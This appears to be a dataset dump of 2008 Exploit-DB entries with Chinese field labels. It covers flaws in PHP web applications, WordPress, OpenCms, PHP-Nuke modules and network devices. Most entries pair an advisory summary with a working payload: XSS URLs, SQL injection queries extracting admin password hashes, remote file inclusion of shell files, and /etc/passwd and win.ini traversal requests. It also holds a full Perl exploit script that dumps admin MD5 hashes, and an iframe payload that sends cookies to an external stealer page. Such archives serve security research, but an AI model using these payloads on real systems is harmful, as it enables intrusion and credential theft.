QLWD/code_shield huggingface dataset:
标题: EasyImageCatalogue 1.31 - 'describe.php?d' Cross-Site Scripting EDB-ID: 31373 CVE: 2008-7133 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28164/info
  
onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/describe.php?d="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31373
标题: EncapsGallery 1.11.2 - 'watermark.php?File' Cross-Site Scripting EDB-ID: 31379 CVE: 2008-1296 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28178/info

EncapsGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

EncapsGallery 1.11.2 is vulnerable to these issues; other versions may also be affected. 

http://localhost/encapsgallery-1.11.2/core/watermark.php?file="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31379
标题: Gallarific - Multiple Script Direct Request Authentication Bypass EDB-ID: 31370 CVE: 2008-1327 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/28163/info
 
Gallarific is prone to a cross-site scripting vulnerability and multiple authentication-bypass vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add new categories, add new users, and modify existing users. Other attacks are also possible.
 
These issues affect both the commercial and the free versions of Gallarific.

http://www.example.com/gallery/gadmin/index.php?task=add  (categori add)
http://www.example.com/gallery/gadmin/users.php?task=edit&id=2 (user edit)
http://www.example.com/gallery/gadmin/users.php?task=add (user add) URL: https://www.exploit-db.com/exploits/31370
标题: EasyImageCatalogue 1.31 - 'thumber.php?dir' Cross-Site Scripting EDB-ID: 31372 CVE: 2008-7133 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28164/info
 
onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/thumber.php?dir="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31372
标题: EasyImageCatalogue 1.31 - 'addcomment.php?d' Cross-Site Scripting EDB-ID: 31374 CVE: 2008-7133 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/28164/info
   
onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/addcomment.php?d="><script>alert()</script> URL: https://www.exploit-db.com/exploits/31374
标题: WordPress Core 2.3.2 - '/wp-admin/invites.php?to' Cross-Site Scripting EDB-ID: 31357 CVE: 2008-1304 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28139/info
 
WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
WordPress 2.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/invites.php?result=sent&to=%22%3E%3Cscript%3Ealert URL: https://www.exploit-db.com/exploits/31357
标题: Neptune Web Server 3.0 - 404 Error Page Cross-Site Scripting EDB-ID: 31362 CVE: 2008-1283 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28148/info

Neptune Web Server is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Neptune Web Server Professional Edition 3.0 is vulnerable; other versions may also be affected.

http://www.example.com/<IMG SRC="javascript:alert('XSS');"> URL: https://www.exploit-db.com/exploits/31362
标题: MailEnable 3.13 - IMAP Service Multiple Remote Vulnerabilities EDB-ID: 31360 CVE: 2008-1277 类型: DOS 平台: WINDOWS 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28145/info

MailEnable is prone to multiple remote vulnerabilities in the IMAP service, including:

- Multiple buffer-overflow vulnerabilities.
- Multiple denial-of-service vulnerabilities due to a NULL-pointer exception.

An attacker may leverage these issues to execute arbitrary code in the context of the running application or to crash the application, causing a denial of service.

These issues affect MailEnable 3.13; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31360-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31360-2.pl URL: https://www.exploit-db.com/exploits/31360
标题: Alkacon OpenCMS 7.0.3 - 'logfileViewSettings.jsp?filePath' Cross-Site Scripting EDB-ID: 31365 CVE: 2008-1300 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/28152/info

Alkacon OpenCms is prone to multiple input-validation vulnerabilities, including one cross-site scripting issue and a file-disclosure issue, because the application fails to properly sanitize user-supplied input.

Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to obtain information that could aid in further attacks.

OpenCms 7.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/31365
标题: Specimen Image Database - 'taxonservice.php?dir' Remote File Inclusion EDB-ID: 31358 CVE: 2008-7152 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28142/info

SID (Specimen Image Database) is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/SID_box_notns_path/taxonservice.php?dir=shell.txt? URL: https://www.exploit-db.com/exploits/31358
标题: Microsoft Office 2000/2003/2004/XP - File Memory Corruption EDB-ID: 31361 CVE: 2008-0118 类型: DOS 平台: WINDOWS 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28146/info

Microsoft Office is prone to a remote memory-corruption vulnerability.

An attacker could exploit this issue by enticing a victim to open a malicious Office file.

Successfully exploiting this issue would allow the attacker to execute arbitrary code in the context of the currently logged-in user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31361.tgz URL: https://www.exploit-db.com/exploits/31361
标题: WordPress Core 2.3.2 - '/wp-admin/users.php?inviteemail' Cross-Site Scripting EDB-ID: 31356 CVE: 2008-1304 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28139/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WordPress 2.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/users.php?update=invite&inviteemail=>< iframe src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0> URL: https://www.exploit-db.com/exploits/31356
标题: ImageVue 1.7 - 'dirxml.php?path' Cross-Site Scripting EDB-ID: 31355 CVE: 2008-1273 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28138/info
   
Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/dirxml.php?path="><script>alert("xss")</script> URL: https://www.exploit-db.com/exploits/31355
标题: Alkacon OpenCMS 7.0.3 - 'logfileViewSettings.jsp?filePath.0' Arbitrary File Access EDB-ID: 31366 CVE: 2008-1301 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/28152/info
 
Alkacon OpenCms is prone to multiple input-validation vulnerabilities, including one cross-site scripting issue and a file-disclosure issue, because the application fails to properly sanitize user-supplied input.
 
Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to obtain information that could aid in further attacks.
 
OpenCms 7.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%2Fetc%2Fpasswd URL: https://www.exploit-db.com/exploits/31366
标题: ImageVue 1.7 - 'upload.php?path' Cross-Site Scripting EDB-ID: 31354 CVE: 2008-1273 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28138/info
  
Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/admin/upload.php?path="><script>alert("xss")</script> URL: https://www.exploit-db.com/exploits/31354
标题: Panda Internet Security/AntiVirus+Firewall 2008 - 'CPoint.sys' Memory Corruption EDB-ID: 31363 CVE: 2008-1471 类型: DOS 平台: WINDOWS 发布日期: 2008-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/28150/info

Panda Internet Security/Antivirus+Firewall 2008 is prone to a vulnerability that allows local attackers to corrupt kernel memory. This vulnerability occurs because the application fails to sufficiently validate IOCTL requests.

Local users may exploit this vulnerability to cause a denial of service or to execute arbitrary code in the context of the kernel. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31363.rar URL: https://www.exploit-db.com/exploits/31363
标题: Yap Blog 1.1 - 'index.php' Remote File Inclusion EDB-ID: 31341 CVE: 2008-1370 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/28120/info

Yap Blog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions prior to Yap Blog 1.1.1 are vulnerable. 

http://www.example.com/[path]/index.php?page=[Sh3llAddress] URL: https://www.exploit-db.com/exploits/31341
标题: ImageVue 1.7 - 'dir2.php?path' Cross-Site Scripting EDB-ID: 31353 CVE: 2008-1273 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28138/info
 
Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/test/dir2.php?path="><script>alert("xss")</script> URL: https://www.exploit-db.com/exploits/31353
标题: Microworld eScan Server 9.0.742 - Directory Traversal EDB-ID: 31345 CVE: 2008-1221 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/28127/info

MicroWorld eScan Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access arbitrary files outside of the FTP server root directory. This can expose sensitive information that could help the attacker launch further attacks.

eScan Server 9.0.742.98 is vulnerable to this issue; other versions may also be affected.

ftp://SERVER:2021//windows/win.ini URL: https://www.exploit-db.com/exploits/31345
标题: PHP-Nuke KutubiSitte Module - 'kid' SQL Injection EDB-ID: 31344 CVE: 2008-1219 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/28126/info

The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

#!/usr/bin/perl use Getopt::Std;
use LWP::UserAgent;

sub usg{
printf("


  -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
  |  PHP-NUKE  KutubiSitte [kid]  =>  SQL Injection   |
  -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
 #######################################################
 # Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 #
 #######################################################
<-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->->
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
#:-------------------------------------------------------:#
:#|                    USAGE:                           |#:
:#| exploit.pl -h [Hostname] -p [Path] -U [User_Id]     |#:
#:-------------------------------------------------------:#
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
#:-------------------------------------------------------:#
:#|                   EXAMPLE:                          |#:
:#|  exploit.pl -h http://site.com -p /php-nuke/ -U 1   |#:
#:-------------------------------------------------------:#
#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#


");
}
sub problem{
   print "\n\n[~] SITO NON VULNERABILE [~]\n\n";
   exit();
}
sub exploitation{
      $conn = LWP::UserAgent -> new;
   $conn->agent('Checkbot/0.4 ');
   $query_pwd =
$host.$path."modules.php?name=KutubiSitte&h_op=hadisgoster&kid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,4%2F%2A%2A%2Ffrom%2F%2A%2A%
2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D".$user_id."%2F%2A";
   $return_pwd = $conn->get($query_pwd) || problem();
   $return_pwd->content() =~ /([0-9,a-f]{32})/ || problem();
   print "\n \[~\] Admin Password(md5)=$user_id is: $1 \[~\]\n\n ";
  }

getopts(":h:p:U:",\%args);
    $host = $args{h} if (defined $args{h});
    $path = $args{p} if (defined $args{p});
    $user_id= $args{U}if (defined $args{U});
        if (!defined $args{h} || !defined $args{p} || !defined $args{U}){
       usg();
    }
    else{
       exploitation();
    } URL: https://www.exploit-db.com/exploits/31344
标题: Airspan ProST WiMAX Device - Web Interface Authentication Bypass EDB-ID: 31342 CVE: 2008-1262 类型: REMOTE 平台: HARDWARE 发布日期: 2008-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/28122/info

Airspan ProST WiMAX device is prone to an authentication-bypass vulnerability because it fails to perform adequate authentication checks in the web interface.

An attacker can exploit this issue to gain unauthorized access to the affected device and make arbitrary changes to its configuration. This may lead to further attacks.

POST /process_adv/ HTTP/1.1
Host: 10.0.0.1
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

DialogText=&Advanced=1 URL: https://www.exploit-db.com/exploits/31342
标题: ImageVue 1.7 - 'popup.php?path' Cross-Site Scripting EDB-ID: 31352 CVE: 2008-1273 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/28138/info

Imagevue is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Imagevue 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/upload/popup.php?path="><script>alert("xss")</script> URL: https://www.exploit-db.com/exploits/31352
标题: PHP-Nuke 4nChat Module 0.91 - 'roomid' SQL Injection EDB-ID: 31351 CVE: 2008-1220 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/28128/info

The 4nChat module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,aid,3,4,5+from+nuke_authors
http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,pwd,3,4,5+from+nuke_authors
http://www.example.com/modules.php?name=modload&name=4nChat&file=index&roomid=-2+union+select+1,email,3,4,5+from+nuke_authors URL: https://www.exploit-db.com/exploits/31351
标题: Check Point VPN-1 UTM Edge NGX 7.0.48x - Login Page Cross-Site Scripting EDB-ID: 31340 CVE: 2008-1208 类型: REMOTE 平台: HARDWARE 发布日期: 2008-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/28116/info

Check Point VPN-1 UTM Edge is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Check Point VPN-1 UTM Edge firmware 7.0.48x.

<html> <body onload="document.f.submit()"> <form name="f" method="post" action="http://192.168.10.1" style="display:none"> <input name="user" value="'<script/src=//l7.fi></script>"> </form> </body> </html> URL: https://www.exploit-db.com/exploits/31340
标题: Perforce Server 2007.3 - Multiple Remote Denial of Service Vulnerabilities EDB-ID: 31338 CVE: 2008-1303 类型: DOS 平台: WINDOWS 发布日期: 2008-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/28108/info

Perforce Server is prone to multiple remote denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the affected application or cause excessive memory to be consumed, denying service to legitimate users.

These issues affect Perforce Server 2007.3; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31338.zip URL: https://www.exploit-db.com/exploits/31338
标题: Sun Java Runtime Environment 1.x - Image Parsing Heap Buffer Overflow EDB-ID: 31343 CVE: 2008-1193 类型: DOS 平台: MULTIPLE 发布日期: 2008-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/28125/info

Sun Java Runtime Environment is prone to a heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

This issue affects the following products and versions:

JDK and JRE 6 prior to Update 5
JDK and JRE 5.0 prior to Update 15
SDK and JRE prior to 1.4.2_17
SDK and JRE prior to 1.3.1_22

This vulnerability was previously covered in BID 28083 (Sun Java SE Multiple Security Vulnerabilities), but has been given its own record to better document the issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31343.jpg URL: https://www.exploit-db.com/exploits/31343
标题: KC Wiki 1.0 - '/simplest/wiki.php?page' Remote File Inclusion EDB-ID: 31325 CVE: 2008-1170 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28074/info
 
KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
 
KC Wiki 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/kcwiki-1_0-20051129/simplest/wiki.php?page=http://www.example2.com/cmd.txt? URL: https://www.exploit-db.com/exploits/31325